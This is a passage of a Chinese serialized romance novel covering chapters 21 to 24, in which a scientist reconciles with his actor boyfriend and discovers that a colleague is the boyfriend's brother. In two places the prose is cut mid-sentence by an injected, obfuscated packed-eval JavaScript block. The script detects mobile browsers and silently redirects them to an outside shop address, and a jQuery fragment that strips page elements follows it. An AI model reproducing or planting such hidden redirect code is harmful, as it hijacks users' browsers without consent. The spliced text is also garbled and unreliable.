褚月恒瞥了她一眼,没说话,只是自顾自要去敲门。 还没等他敲门,门就自己开了,戚清棠皱着眉头站在门口,先是冷漠的看了小姑娘一眼,然后神色复杂的看向她身后的褚月恒,表情泫然欲泣。 褚月恒和戚清棠沉默的对视了一会儿,褚月恒突然就不知道该如何开口了。人与人之间微妙的情感变化令他迷惑,他在飞机上写好了剧本,在面对戚清棠哭的通红的眼睛时,显得可笑又令人尴尬。 他该怎么做呢?是第无数次靠演出来的花言巧语求得戚清棠的原谅?还是让戚清棠折磨回来,等价赔偿? 戚清棠见褚月恒迟迟不说话,眼神暗淡了几分,他逃避似得看向褚月恒神前醉醺醺的小姑娘,冷声说:“戚语冰,你来这儿干嘛?” 戚语冰举起手里的酒瓶,笑的像个白色萨摩耶,金棕色的眼睛在夜色中明亮清丽:“我来替则锋看看你,这几个月我不让他见你,他想你想的抓心挠肺的,哈哈哈!” 戚清棠慌乱的瞥了褚月恒一眼,低声斥责道:“别瞎说。” “真的哦,他手机壁纸是你的照片。”戚语冰真诚的大声说道,仿佛是怕戚清棠不相信。 戚清棠尴尬的瞥了褚月恒一眼,突然挺直胸膛说:“喜欢我的人多了去了,不差他一个。你自己看不住老公,应该从自己身上找原因吧。” 戚语冰愣了一下,突然又笑了,是那种令戚清棠毛骨悚然的笑:“哦,没关系啊,我不在乎原因是什么,让开!” 戚语冰就跟变脸一样,瞬间从可爱的笑脸切换成冰冷锋锐的表情,这下褚月恒确信她绝对成年了。 戚清棠被吼得一愣,然后乖乖让开了大门。 戚语冰嗤笑了一声,大摇大摆的走到客厅里转了一圈,然后在戚清棠警惕的目光下走向二楼,一边走一边说:“放心吧,我不是来找你的,我是来等人的。” 戚清棠皱起眉头:“等谁?” “当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271800|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个姓蒋的,他若是趁我不在,敢来找你,”戚语冰笑的有些邪气,“我就可以名正言顺的收拾他了。好了,我跟你交代的够清楚了,去和你家野男人讲话吧,让我清净会儿。” 戚清棠还想说些什么,可戚语冰已经把二楼客房的门摔上了。 气氛再次沉默了起来。 戚清棠抿了抿嘴:“你没什么想对我说的吗?” “我不知道怎么沟通,所以用冷漠放弃和你沟通,”褚月恒松低下头认真的看着戚清棠的眼睛,泊岳的月光比极地要温柔,可光线照在褚月恒身上似乎还是冷冷的,瞬间把戚清棠带回到极地彻骨的冬天,“你不知道怎么沟通的时候,会转身就走。” 戚清棠慌乱的移开眼睛:“我……” “下次遇到这种事,你可以给我一个解释的机会么?”褚月恒观察着戚清棠的表情,试探着半搂住戚清棠,“我不喜欢你的背影。” 戚清棠在褚月恒怀里挣扎了一下,但没真的使劲儿:“那是因为你没给我信任你的理由!” “对不起。”褚月恒顺着戚清棠的力道松开了戚清棠,“我会改的。” 戚清棠下意识想伸手抓住褚月恒,可又停了下来。 褚月恒总是这样,若即若离的,让他提心吊胆,却也总觉得想要拥有更多,想征服褚月恒的身心,让褚月恒完完全全忠于他、属于他。 “那……我也会改的,和你一起改。”戚清棠抿了抿嘴,突然说。 “谢谢你。”褚月恒浅浅的笑了一下,似乎是有点感动,还有点感激。 那一笑的风情,把戚清棠看愣了。越是稀少的东西越令人珍惜,博褚月恒一笑太难了,也许这是他们认识的半年里,褚月恒第一次这样对他笑。 也就是在这一刻,戚清棠突然意识到,他和褚月恒之间的关系,才刚刚进出真正的开端。 他以为这是结束,可也许,这是他付出了这么多痛苦和绝望后,终于要开始品尝胜利的果实了。 今后,也许还会有很多第一次,第一次收获褚月恒感激的笑,也许还会有第一次看见褚月恒为他哭的样子,第一次被褚月恒真诚的心疼,第一次被褚月恒温柔的照顾。 戚清棠陷入对未来的期待中,而人一旦有了期待,就什么都好说了。 褚月恒敏锐的感知到了自己的机会,他得寸进尺的抱住戚清棠,在他耳边呢喃:“我想你,我好想你。” 第一次听到褚月恒这么直白的表达自己的思念,戚清棠简直要醉了。 “清棠!你清醒点!”一道煞风景的声音打断了这美好的一切。 21. 真相 戚清棠的发小洛星临叉着腰站在门前,神色不善的瞪着褚月恒。 洛星临长着一张很典型的老泊岳贵族脸,婉约的眸子,娟秀的鼻子,褚月恒甚至有点分辨不出他的性别。 戚清棠不自在的理了理头发,介绍道:“月恒,这是我的发小,他叫洛星临,是我最好的朋友。” 褚月恒礼貌的对洛星临点了点头:“你好。” 洛星临哼了一声,没搭理褚月恒。 戚清棠纵容的看着洛星临,说:“都没吃晚饭吧,要不咱们进屋,我叫厨师做一桌子菜。” 洛星临抱着胳膊说:“先让这位褚先生解释清楚他为什么不回你消息再进屋,他可是让你哭了整整一下午,这事儿不能就这么过去了。” 褚月恒见戚清棠没有反驳洛星临的话,立刻简洁的交代:“昨天陪领导游玩冰海时船只失控了,在荒岛过了一夜,没信号。” 洛星临满脸狐疑:“这借口也太离谱了吧!” “星临,”戚清棠了解褚月恒,知道他不会无聊到编造这种瞎话,况且,褚月恒要是真愿意为了他屈尊降贵的花心思编瞎话,也够他感动的了,“月恒不会撒谎的。” 褚月恒被洛星临纠缠的有些不耐烦,他拿出手机,调出事故报告,沉默的盯着洛星临。 洛星临反倒不敢凑过去看了,褚月恒天生自带冷气,不笑的时候真的有点吓人。不是那种张牙舞爪的吓人,而是那种带着高傲和审视的、令人自卑的那种吓人。 洛星临忍不住在心里默默佩服戚清棠,什么花都敢采,真是勇士。 “好了,进屋吧。”戚清棠搂着洛星临率先转身进屋。 厨师为了追求速度,准备的是火锅。 餐厅里,洛星临喋喋不休的讲着戚清棠小时候的事儿,和过去那六个月戚清棠对褚月恒的付出。 戚清棠微笑的听着,时不时反驳一下、或者插句嘴。 褚月恒装作认真听的样子,心中却越来越焦躁。 无聊的饭局该快点结束,碍事儿的人该立刻消失。几周没碰戚清棠,褚月恒迫切的需要某种亲密接触、二人世界。 火锅的烟气袅袅蒸腾,天花板上的吊灯变得朦胧、昏暗,洛星临无聊的声音也似乎变得很远,餐厅那扇古老的木头窗户外隐约可见后山竹影摇曳。 褚月恒想起公山易禾和他讲过自己小时候挖新鲜的笋蒸着吃的故事,那会儿他们还在冰海边无所事事的散步,公山易禾很会聊天,从生物演化聊到星辰法则,在这些宏大叙事里,他偶尔会穿插着讲些自己生活里的小故事,褚月恒喜欢听。 可现在,他被迫坐在这里听洛星临喋喋不休。心空落落的,无处安放。他从未离冰海那么远,泊岳太过灼热的空气,让褚月恒越发感觉无法忍受。 静静思考了一会儿,褚月恒在脑海里试探着呼唤:“寒英小姐……泊岳很热,对吧?” 033飘了出来,这是褚月恒第一次叫她名字,她没想到寒英奴被他改成了寒英小姐,孩子讲礼貌是好事,她笑眯眯的回应:“这里开了空调,亲爱的。” 033嘴里的‘亲爱的’带着调笑的意味,就像是女性长辈称呼自己喜欢的小孩。 褚月恒没被这么叫过,有点尴尬,没话说了。 033挑起话题:“亲爱的,我不得不提醒你,你现在走神,待会儿你的小男友若是就此对你提问,你可不好应对。” 褚月恒急忙回神,洛星临正在说戚清棠初中时是校草,被小女生追着跑。 褚月恒强打精神,动用起自己那拥有空间记忆的大脑,强行记忆洛星临的每句话、每个字。 “对了!当时你哥说什么来着?”洛星临激动的朝戚清棠比划着,“就是你把女同学的情书扔垃圾桶,你哥当着女同学的面骂你山猪吃不了细糠,我第一次见你哥那么不给你面子,简直像是被你爸附体了。” 褚月恒神色动了动,突然就有些紧张,这里叫公山庄园,那戚清棠的哥哥会是谁呢? 褚月恒想问清楚,可开口前又犹豫了。 戚清棠笑着对洛星临说:“你别那么说我哥哥,他只是心疼被我拒绝的小女孩。” “要心疼也该心疼你啊,他都不知道那些女生纠缠起人来有多烦人!” “你还有个哥哥?”褚月恒不动声色的问。 洛星临惊讶的说:“你连这个都不知道?你也太不了解清棠了!” “哎呀,是我没告诉他,不怪他。”戚清棠嗔怪的看了眼洛星临,然后柔声说,“我是有个哥哥,他对我可好了,而且和你一样是科学家。” “那……”褚月恒突然发现,有些话想要问出来还挺艰辛的,他不知道自己在失望什么,但也许是因为太失望,所以他很难问出这个问题。 这时,门锁转动的声音响起。 刚安顿好爷爷奶奶的公山易禾推开庄园大门:“清棠,在家吗?” 公山易禾放下手里拎着的北极熊皮毛,这些都是褚月恒送他的,他特意拿到庄园这边,准备放进自己的收藏间里。 “哥!你回来啦!” 公山易禾笑着抬起头,一眼就看见了坐在餐厅里的褚月恒。 褚月恒也在看他,褚月恒的眼神令公山易禾心头狂跳:“月恒……你听我解释。” 戚清棠小跑到公山易禾身边,有些迷茫的看向褚月恒:“你们认识?” 褚月恒礼貌的笑了一下:“我们是同事。” 另一只靴子终于落地了,褚月恒只觉得果然如此,本应如此。 公山易禾出现在他身边的方式、姿态都太反常了,为了潜水器而来还算合理,但之后那些热情的邀约、殷勤的照顾,处处透着违和感。 如果他是作为戚清棠的哥哥来了解自己弟弟的男友,那一切就说得通了。 “我们是好朋友,不是吗?”公山易禾拎起地上的袋子,展示给褚月恒看,“我特意回来把你送我的礼物放进收藏间,我很喜欢。” 褚月恒愣了一下,公山易禾一如既往的直白,都不给褚月恒产生负面情绪的时间。就算褚月恒脑子比一般人快,也很难在几秒内就生产出一堆负面情绪。 “你……没告诉我你和清棠的关系。”褚月恒有些犹豫,但还是问出了这个问题。 公山易禾坦荡的说:“刚认识你时,不想我们复杂的私人恩怨影响工作,就没说。和你第一次下海的那天我就决心和你做朋友了,可一开始没说的话,后来反而更不好说了,你能理解我么?” 公山易禾这么诚实,褚月恒发现自己很难借题发挥,他试图从公山易禾的话里找出公山易禾不是真心想和他做朋友的证据,却失败了。 但是褚月恒还是觉得不高兴,想要计较,可能他打心底不相信自己会这样轻而易举的拥有公山易禾这样的朋友。 于是他公式化的笑了一下:“我理解。既然您回家了,我就先告辞了,不打扰你们家人团聚。” 说完后,褚月恒快步走出庄园,关上大门,然后像是被狗追着一样飞速扎进后山的森林里。 033纳闷的问:“你跑什么?” 褚月恒无辜的回答:“我不知道。” 公山易禾的出现把他的脑子完全搅乱了,明明之前抓心挠肺的想要和戚清棠共度亲密的夜晚,可现在他的大脑已经顾不上思考戚清棠的事情了。 他一遍遍复盘公山易禾刚才说的那两句话里面的逻辑,试图找出是哪一点令他如此不快。就像他在一堆规律的数据里发现某个不和谐的数字一样,不琢磨清楚就无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271801|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法停下。 “月恒。”公山易禾的声音从丛林里隐隐约约的传来,他讲话腔调还是那么优雅,哪怕因为跑动而有些喘息,也还是很好听,“你走慢点,我腿疼,跟不上你。” 褚月恒这才想起公山易禾的腿伤,虽然他们获救后医生说了没大碍,但到底是紫了很大一块,应该挺疼的,公山易禾这种养尊处优的绅士,不该受这种罪。 等褚月恒回过神来时,发现自己已经飞速走到了公山易禾的身边。 公山易禾正笑眯眯的看着他,把他看得一阵羞恼:“你跟着我干什么?” 公山易禾微微歪头,神色温柔缱眷,泊岳的月亮比极地温柔的多,就像公山易禾的眼睛,包容又温暖:“你生我气了。” 公山易禾的声音变得很轻,太温柔了,褚月恒感觉自己的心脏剧烈跳动了一下,一股奇异的温暖感随着他的血液流经全身。 褚月恒的大脑叫嚣着想逃,可身体纹丝不动的定在公山易禾面前,眼睛专注地看着他的脸,耳朵认真的听着他的声音,不想错过一处细节。 公山易禾突然笑了:“月恒,你这样看着我,我有点……” 褚月恒疑惑的眨了眨眼睛,不懂自己有什么不妥:“你是说,我犯错误了?” “没有,是我让你生气了,”公山易禾试探着扯住褚月恒的袖子,“没人犯错误,我们之间只是产生了误会,要解释清楚。” 褚月恒点点头:“那你解释吧。” “好,”公山易禾不知为什么,又笑了,然后就用那种‘特别喜欢你’的眼神盯着褚月恒看,把褚月恒看得耳朵泛红,“你知道我的研究内容,我需要一个有力的工具帮我探索冰海,我的助理跟我推荐了你研发的潜水器,那时我并不知道你是谁。” “随后,我看到了你的简历,确定你就是那个和我弟弟有感情纠葛的人。我不想你们的私人感情影响我的研究,所以见到你后,我没提我弟弟的事。可我必须承认,因为清棠的事,我对你产生了先入为主的偏见,用有色眼镜看待过你。” 褚月恒点点头,然后说:“没关系。”偏见这东西,他不在乎的。 “后来,”公山易禾克制的轻轻拉住褚月恒的手腕,“我们第一次下海的时候,我看到了你过硬的专业水准,了解了你的音乐品味,还有潜水器里那些舒适的小细节,这些都让我认为你是个很好的人,有魅力、有能力。我狭隘的偏见在和你相处的过程中消失了。” 褚月恒将信将疑的点点头,他虽然还是无法完全信任公山易禾,但是已经不生公山易禾的气了。 “我和你成为了朋友,可成为朋友后,我反而更怕坦白一切了,我怕我们之间的气氛会变得尴尬,怕你怪我。可我知道,我迟早要告诉你真相的,我原本计划回泊岳后就安排个饭局,然后和你坦白一切的。” 褚月恒继续点头:“好吧,我明白了,我们没事了。” “是真的没事了吗?”公山易禾凑到褚月恒身边,忍不住深深吸了口褚月恒的发梢的味道,很好闻,“那你证明给我看。” 褚月恒无措的说:“我明天再证明可以吗?” 公山易禾佯装不悦道:“为什么?你要明天才原谅我?” “我没带什么礼物。”褚月恒无辜的说。 太可爱了,公山易禾想摸褚月恒的头,可他有贼心没贼胆:“不用礼物,来抱一下就好。” 公山易禾对褚月恒张开手臂,褚月恒僵硬的微微弯腰,和公山易禾干巴巴的抱了一下。热情的泊岳人表达感情的方式比较西化,朋友间拥抱一下也是寻常的。但他们北地可没这个习惯,他们排队彼此间都要离一米远的。 “好了,我们回去吃饭吧。”公山易禾转身走了几步,却发现褚月恒没跟过来。 22. 泊岳大学 “我不去了。”褚月恒的表情很平静,但不容拒绝,他朝公山易禾微笑了一下,表示他没在生气,“你一定有很多话要和他说,我也要回去准备一下,明天上班再见。” 公山易禾愣了一下,突然就觉得很舍不得。 这真是莫名其妙,不过是分开一晚,他为什么会觉得恋恋不舍呢? 也许是因为褚月恒笑起来太好看了,他还想再看一次。 “好,明天上班见。”公山易禾眼巴巴的看着褚月恒,心中对明天产生了热烈期盼,青春期结束后,他再没有像此刻这样满心激情的时刻了。 期盼是人类生命的火焰,一旦燃烧简直瞬间燎原。 可公山易禾终究不是青春期的毛头小子,他感受着自己的情绪变化,理性的为自己感到悲哀,他知道,有些不妙的事情发生了,他产生了某些不合时宜的感情。 在极地时他还懵懵懂懂,可以骗自己那是对新朋友的友谊。 可今晚,一切太过明确,哪怕他从体会过心动的感觉,也很确信这感觉意味着什么。 风摇树影,夜色里,香樟树的影子在窗外那栋优美复古的实验楼上摇曳着。褚月恒的住所在泊大校园内部,距离实验室走路不到一公里。从餐厅的落地窗往外看可以看到岳阳湖和兴高采烈的游客们,从卧室的窗户往外看,则可以看到上个世纪就建成的老实验楼,还有成群结队来给老师打下手的学生们。 令褚月恒感到不适应的不光是窗外过分嘈杂热闹的环境,还有屋子里的陌生人。他们给褚月恒配了个生活助理,负责配合他工作,同时还履行监察他行为的责任。 听说岳阳湖区有很多性情古怪的人,所以他们不得不派足够有威慑力的助理来规范这些家伙的行为。 给褚月恒分配助理时,他们还特意问了褚月恒的性取向,褚月恒对男人和女人都没什么感觉,但遇到戚清棠后,他仔细思考了一下,发现他其实都可以,所以他应该算是个双。但考虑到将来戚清棠可能会过来找他,他选择说自己是个同性恋。于是他们给他分配了一个女助理,并警告道,他们岳阳湖区不允许和自己的助理恋爱。 褚月恒的助理叫梵七叶,她看上去也就刚毕业的样子,她穿着一身青春洋溢的运动服,扎着马尾辫,还染了紫色的头发,和定北城那些西装革履的助理完全不同。 她见到褚月恒后做的第一项工作就是让褚月恒签保证书,里面包含着岳阳湖区独有的规则,如果违反规则,就会被人事部叫去谈话。 任何离谱的规定背后都有更加离谱的故事,褚月恒尴尬的签了保证书。保证自己在工作期间不会有任何违反规定的不妥行为,那保证书里的条款有上百条,包括不许与助理、学生恋爱、不许在不报备的情况下配置易燃易爆炸的物品、不许在游客不知情的情况下对他们做心理学实验、不许强行给同事进行魔术表演…… 签完保证书,面色严峻的梵七叶如同变脸一般露出一个亲切的微笑:“程序走完了,欢迎您来到岳阳湖区,按照流程,您需要在明天九点半前往花萼楼开启实验室的各项权限,明晚八点是您的欢迎晚宴,您可以借机认识基因工程研究院的两位领导。明天过后,您的时间就自由了,如果有需要您必须出席的实验、会议,我会提前三天通知您。” 褚月恒不确定自己是否正确理解了助理的意思:“时间自由是什么意思?” 梵七叶有些惊讶褚月恒居然不知道大名鼎鼎的岳阳湖区的工作方式,不过她还是耐心的解释道:“岳阳湖区所有研究院都没有出席、打卡的要求,您按照自己的规划完成工作即可。” 褚月恒试图理解她的意思:“那如果我需要和同事合作怎么办?” 梵七叶微微一笑:“别担心,如果有需要合作的工作,您只需要提前和我商量,我负责联络相关人员,为您安排会议、实验、茶会等活动。” “可是,我不了解他们。”自闭如褚月恒都觉得这有些离谱了。 梵七叶继续微笑:“不用担心,我很了解他们的专业、性格、地址,我也可以随时查询他们的时间安排,您提出需求,我会替您解决。” “那欢迎晚宴的时候,他们会出现吗?”褚月恒抱着最后一丝希望问道。 “不会的哦,出席欢迎晚宴的是您即将加入的基因工程研究院的两位领导,一位是您参与的项目的负责人公山易禾,一位是基因工程研究院的副院长李清木。” 看出了褚月恒的震惊,梵七叶安慰道:“相信我,您不会愿意见到您未来的同事们的,他们的性格……这么说吧,您刚才签的保证书,每一条都是曾经的真实事件。不过他们的专业实力都是过硬的,您只需要把他们看做您完成工作的资源,您需要使用他们时,就联系我,我会和他们的助理联系,助理们会保证他们在不作妖的情况下和您高效的完成合作。 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戚清棠叹了口气:“我还以为你和之前一样,又不想搭理我了,所以我才……我猜我还是有点心理阴影吧……” 褚月恒有些愧疚:“对不起,是我的问题,我会补偿你的。我现在时间很自由,可以留在你身边照顾你。你回家来有接戏的打算么?或者说,你更想回学校去念书?我都可以陪你。” 褚月恒的态度让戚清棠心里妥帖极了,他有些受宠若惊的说:“真的吗?这不会耽误你工作吗?” “你比工作重要多了。”褚月恒上下打量着镜头里戚清棠穿着的睡衣,和他在冰海时穿的那件很像,可戚清棠却不像那时一样全身心依赖着他了,这令他非常懊恼,他认为自己错失了重要的东西,犯下了重大错误。 “其实我明天要去剧组报道,是一部大制作科幻电影。”戚清棠讲自己的事业时,眼睛亮亮的,年轻的脸上满是对未来的憧憬。 褚月恒撑着下巴安静的听着,其实他只是在看戚清棠脸上生机勃勃的表情,并不是真的对剧组的事情感兴趣。 褚月恒倾听的姿态取悦了戚清棠,戚清棠对褚月恒更亲近了。 “我明天下午去剧组找你。”褚月恒朝屏幕缓缓伸手,戚清棠立刻活力满满的朝他比了个心,黑暗中,褚月恒浅浅笑了一下。 23. 剧组 褚月恒以为岳阳湖区已经是夏国最吵闹的地方了,直到他见识到所谓的剧组。 褚月恒无法理解,这群人的工作只是拍摄一个故事来供人观看,怎么就搞得好像把整个夏国的存亡都抗在肩上一样,每个人都那么焦躁、忙碌。 导演、编剧、场务,无数人类在跑来跑去、大喊大叫、随时往嘴里倒入各种镇定药品、营养补剂,仿佛下一秒就要因为压力过大而晕倒。 剧组选址在泊岳周边的一处森林中,并用科技手段复刻了一座外星城池,银白色的土壤和充满金属质感的堡垒一眼望不到尽头。各色豪车胡乱停在片场入口,记者们扛着摄影机把入口堵得水泄不通。 褚月恒拿着戚清棠给的入场证,试图绕开挡路的记着,好不容易挤出一条路来,这才看到大门口居然还铺着红色地毯,地毯两旁放置了好几个广告牌,有几个穿着礼服的明星正在那儿拍照。 褚月恒不确定自己能不能从红毯那儿通过,他不想给戚清棠惹麻烦。就在褚月恒打算找找有没有什么小路的时候,几个摄像机突然对准他,下一秒,闪光灯强烈的光线让他眼冒金星。 记者们大声讨论:“这是哪个演员,我怎么没见过?难道是模特跨界?” “我也不知道啊,先拍吧,回去再查。” 几个摄像机变成几十个,场面越演越烈,褚月恒不得不从包里掏出黑色雨伞往眼前一挡,然后飞速逃出了包围圈。 “他跑了!一定是明星!不然怎么会跑呢!快追!” 褚月恒震惊的回头,看见一群扛着长枪短炮的人在后面追着他跑。 刚从保姆车上下来的戚清棠看到被记者包围的褚月恒,瞬间目瞪口呆:“这是怎么回事?” “我是助理,不是演员。”褚月恒一边拿雨伞挡着脸一边解释。 “真的?你是谁的助理?”记者们狐疑的盯着褚月恒,都不相信他的话。 褚月恒移开雨伞,居高临下的盯着记者们,试图用自己以往的手段驱赶人们远离。 可奇怪的事情发生了,以前他用这个表情盯着别人,别人要么是害怕、要么是生气,总之都会离开他,可现在,这群人好像是更激动了,不光没走,还更过分的把话筒怼到他面前,问他扮演的是什么角色,是不是影视学院刚毕业的新人等等一堆莫名其妙的问题。 “我是戚清棠的助理。”褚月恒迷茫的眨了眨眼睛,以前无往不利的办法失效后,他有些不知所措,被一群人包围,他还有点社交恐惧,简直想在地上挖个洞钻进去。 “戚清棠?最近崛起的那位星二代?” 几十双眼睛齐刷刷的转向戚清棠的方向,褚月恒立刻点头:“没错,就是他。” 可记者们并没有如褚月恒所愿的去包围戚清棠,而是提出了更尖锐的问题:“你们是什么关系?同学?朋友?情侣?是情侣吧?” 褚月恒意识到自己给戚清棠惹麻烦了,连忙解释:“上下级关系。” “你为什么会来给他当助理?是因为感情吗?” 褚月恒又想冷着脸瞪人了,可惜在场各位都不吃他这一套,依旧不依不饶的问各种问题,甚至还有问他身高体重的。 褚月恒和记者们僵持了一会儿,突然就想起来自己还有个助理,似乎本事很大的样子,他立刻给梵七叶打电话。 梵七叶果然没让他失望,不光让导演带着一群保镖来解救了他,还敲打了记者们,让他们明白有关褚月恒的任何事情都不可以被暴露到网络上。 忙的焦头烂额的梵七叶看了眼自己新鲜出炉的上司,认命的叹了口气。她本以为她比较幸运,遇到了性格正常的上司,想不到他不是正常,而是他不正常的方式还没被写入岳阳湖区的保证书里。 “您来片场是为了?”梵七叶和导演、制片人等一圈子人应酬完后,舒了口气,终于有时间了解褚月恒的情况了。 褚月恒无辜的回答:“探班。” “那记者们为什么围着你不放?” 褚月恒迷茫的摇头:“不知道。” 梵七叶上下打量了褚月恒两眼,突然就明白了:“好吧,这不是您的问题。我和导演商量好了,他给您留个隐蔽的私人通道,下次您低调些,带个口罩什么的,从私人通道进。还有……” 梵七叶犹豫了一下,然后说:“保证书第一百三十三条,不能带男友去生物实验楼做任何亲密行为,如果露西学会了,后果不堪设想。” “谁是露西?” 梵七叶明白了,褚月恒果然是没认真看保证书:“露西是咱们泊大最贵的一只猴子,它拥有十岁小孩的智慧,大脑语言区域有着不可思议的进化,如果它的大脑被……一些行为污染,冯教授会从三楼跳下去,他真的会。” “为什么是三楼?”褚月恒十分认真的问。 梵七叶收起微笑脸,露出严肃脸:“这是冯教授自己的选择,与您无关,您只需要明白,要友爱同事,不可以做出让同事想要从三楼跳去的事情,明白吗?” 看在梵七叶刚给他解决了一个大麻烦的份儿上,褚月恒乖巧同意。 戚清棠远远看见褚月恒和一位年轻漂亮的小姑娘凑在一起说话,褚月恒还用一种前所未有的乖巧姿态听那个姑娘讲话,瞬间一股子醋意就直冲脑门。 “月恒,她是谁?” 梵七叶露出她标志性的干练微笑,朝戚清棠伸出手:“戚先生,您好,我是褚总的助理,您叫我七叶就好。” 洛星临皱着眉头:“褚月恒,你找个年轻漂亮的女助理是什么意思!” 梵七叶见戚清棠没有和她握手的意思,也没尴尬,十分自然的收回手,然后解释:“褚总和基因工程研究院有项目合作,我是由李院长派给褚总的助理,并非褚总自己挑选的。” 洛星临面色不善的打量着梵七叶:“叫你们院长换个中年男人来。” 梵七叶依旧维持着礼貌的微笑,但眼神已经有些冒火星了:“抱歉,行政助理的工作忙碌、私人时间较少,只有年轻人愿意来跟在顶级科学家身边学习,且每个人最多干五年,所以没有中年人做行政助理。如果您对我不满意,可以换年轻男人来,您看呢?” 洛星临噎住了,要是来个年轻漂亮的男助理,他更不放心好吧! 褚月恒叹了口气,低声对梵七叶说:“我给你邮箱里发了份计划,你今天上班时间按照我的要求完成,然后就可以下班了” 梵七叶犹豫了一下,问道:“今晚还有欢迎晚宴,我需要陪您去赴宴吗?对了,您上午开的权限只是基本权限,不包括基因库的,明天我带您去开基因库权限。” 他们难免在工作安排上多讲了几句。 戚清棠委屈的看着褚月恒和梵七叶背着他们窃窃私语,心酸的像是被拧皱的抹布。 洛星临气愤地说:“你这个男朋友也太花心了,他和那个女人凑那么近干什么,你比那个女人漂亮多了,他什么眼光!” “别瞎说,那是他助理。”戚清棠眼睛 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有梵七叶拖住洛星临,褚月恒得以钻进戚清棠的保姆车,刚要说话,戚清棠就焦急的说:“我现在没时间和你聊天,我昨晚发烧耽误了背台词,现在马上就来不及了。” 褚月恒只能乖乖的坐在旁边看戚清棠背台词,坐冷板凳的滋味不好受,褚月恒不知道戚清棠是怎么忍受六个月的:“我帮你吧。” 戚清棠不耐烦的瞥了褚月恒一眼:“你怎么帮我?” 褚月恒从未见过戚清棠这种眼神,这让褚月恒更清晰的意识到就算他们和好了,他也还没能成功挽回戚清棠的爱,所以他必须向戚清棠展示更多价值:“我可以和你对词,也可以帮你记忆。” 戚清棠将信将疑的把剧本递给褚月恒:“我现在时间很紧,你可别耽误我时间。” 褚月恒把剧本推开:“我已经记住了,你拿着吧,我陪你对一遍,再用联想记忆法带你记一遍,会不会更快些?” 戚清棠犹豫了一下,点点头。 褚月恒浅浅笑了一下,能帮上戚清棠他很开心。 曾经的高岭之花如今这么卑微,戚清棠的心一下就软了,他坐到褚月恒旁边,说了句好听话:“真羡慕你的记忆力。” 褚月恒神色复杂的点点头,他的大脑就像一台精密的4D摄影机,忠实的记录着他三岁以后五感所感知到的一切。 所以生活对他来说尤其显得索然无味。 直到与戚清棠相遇后,他的大脑开始混淆真实、梦境、臆想后,他才感受到一丝活着的滋味。 “孟凌寒微笑,然后说这不过是南柯一梦,梦醒后一切重来。你还记得咱们在极地冰洞看到的梦境冰晶吗?夏天融化,冬季冻结……” 褚月恒有意的把这浪漫的科幻剧本和他们在极地的点点滴滴结合在一起,戚清棠不知不觉就靠在了褚月恒的肩膀上。 褚月恒一边讲剧本,一边悄悄用手搂住戚清棠的腰,戚清棠的身形娇小柔软,褚月恒每次抱他,都觉得他像个布娃娃,搂着特别舒服。 可惜褚月恒不能闻到戚清棠头发的味道,那清丽的茉莉花香对褚月恒来说就代表着安心、惬意的睡前时光。但现在戚清棠带着假发套,头上只有一股陌生的香水味。 “你要是永远这么好就好了。”台词背完了,戚清棠窝在褚月恒怀里,有些惆怅。 “我会努力的。”褚月恒把玩着戚清棠的假发,并期望着他这次逃离的方向是对的,可以带他去到真正想去的地方。 24. 海雾酒馆 难得假期,公山易禾悠闲的坐在自家院里的小池塘边,企图用钓鱼来打发时间,盯着水面看了一会儿,他又从水面上看到了褚月恒的脸。 公山易禾烦躁的扔下鱼竿,站起来直奔酒柜。 他意识到自己对褚月恒产生不应该的感情后,立刻就决定控制情感。但这件事情比他想象的难做多了,明明才分开十几个小时,他却思念的抓心挠肺。 褚月恒不过就是长得很漂亮、味道很好闻、声音很好听、脑子很聪明而已,怎么就那么难忘。 公山易禾暴力打开一瓶白葡萄酒,面无表情的灌了一口,企图麻痹自己。 有多少人,在面对生死攸关时刻,可以像褚月恒那样可靠又可爱?哪怕不是面对真正的天灾,只是去玩个刺激点的密室逃脱游戏,很多人都会暴露自私自利、愚蠢懦弱的真面目。 公山易禾不知道自己还有没有运气再遇到这么可心可意的人。 和公山易禾同样抓狂的还有033,它花言巧语引诱了半天,褚月恒还是坚持自己的想法,非要呆在剧组看戚清棠拍戏不可。 033没想到就算它帮褚月恒保住工作,甚至引导褚月恒找到更好的工作,来到全夏国学术氛围最浓郁的岳阳湖区,也不能勾引起褚月恒哪怕一丝对科研的热情。 他不光打算把整个宝贵的白天都浪费在剧组,还准备晚上加班工作,这么熬下去,033担心他把自己困死。 “你在这里守着对他没什么用处,说不定他会厌倦你。”033开始恶魔低语。 褚月恒面无表情的盯着戚清棠拍戏:“不会的,他只会越来越喜欢我。” 某些方面上,褚月恒对人性意外的敏锐,他知道像戚清棠这种缺乏陪伴和关爱的人,需要的就是他一刻不离的陪伴和照顾。 如果他是个丑陋、没有魅力的人,那戚清棠很可能厌烦他,但事实正好相反,所以戚清棠只会越来越离不开他。 “你是清棠在冰海交的男朋友?” 一股子古怪的香水味传来,褚月恒回头,看见一位穿着考究西装的男人正居高临下的看着他,褚月恒坐着,那人站着,他俩短暂的对视了一下,褚月恒注意到了令他十分熟悉的‘不友好的视线’。 “你是?”褚月恒眯了一下眼睛,猜到了些什么。 “蒋则锋,你可能听说过我。”蒋则锋微笑了一下,有些傲慢。 褚月恒似笑非笑的回敬:“戚语冰在公山庄园等你,你要去吗?” 033急的满地乱窜,思考着怎么解决这个情况。 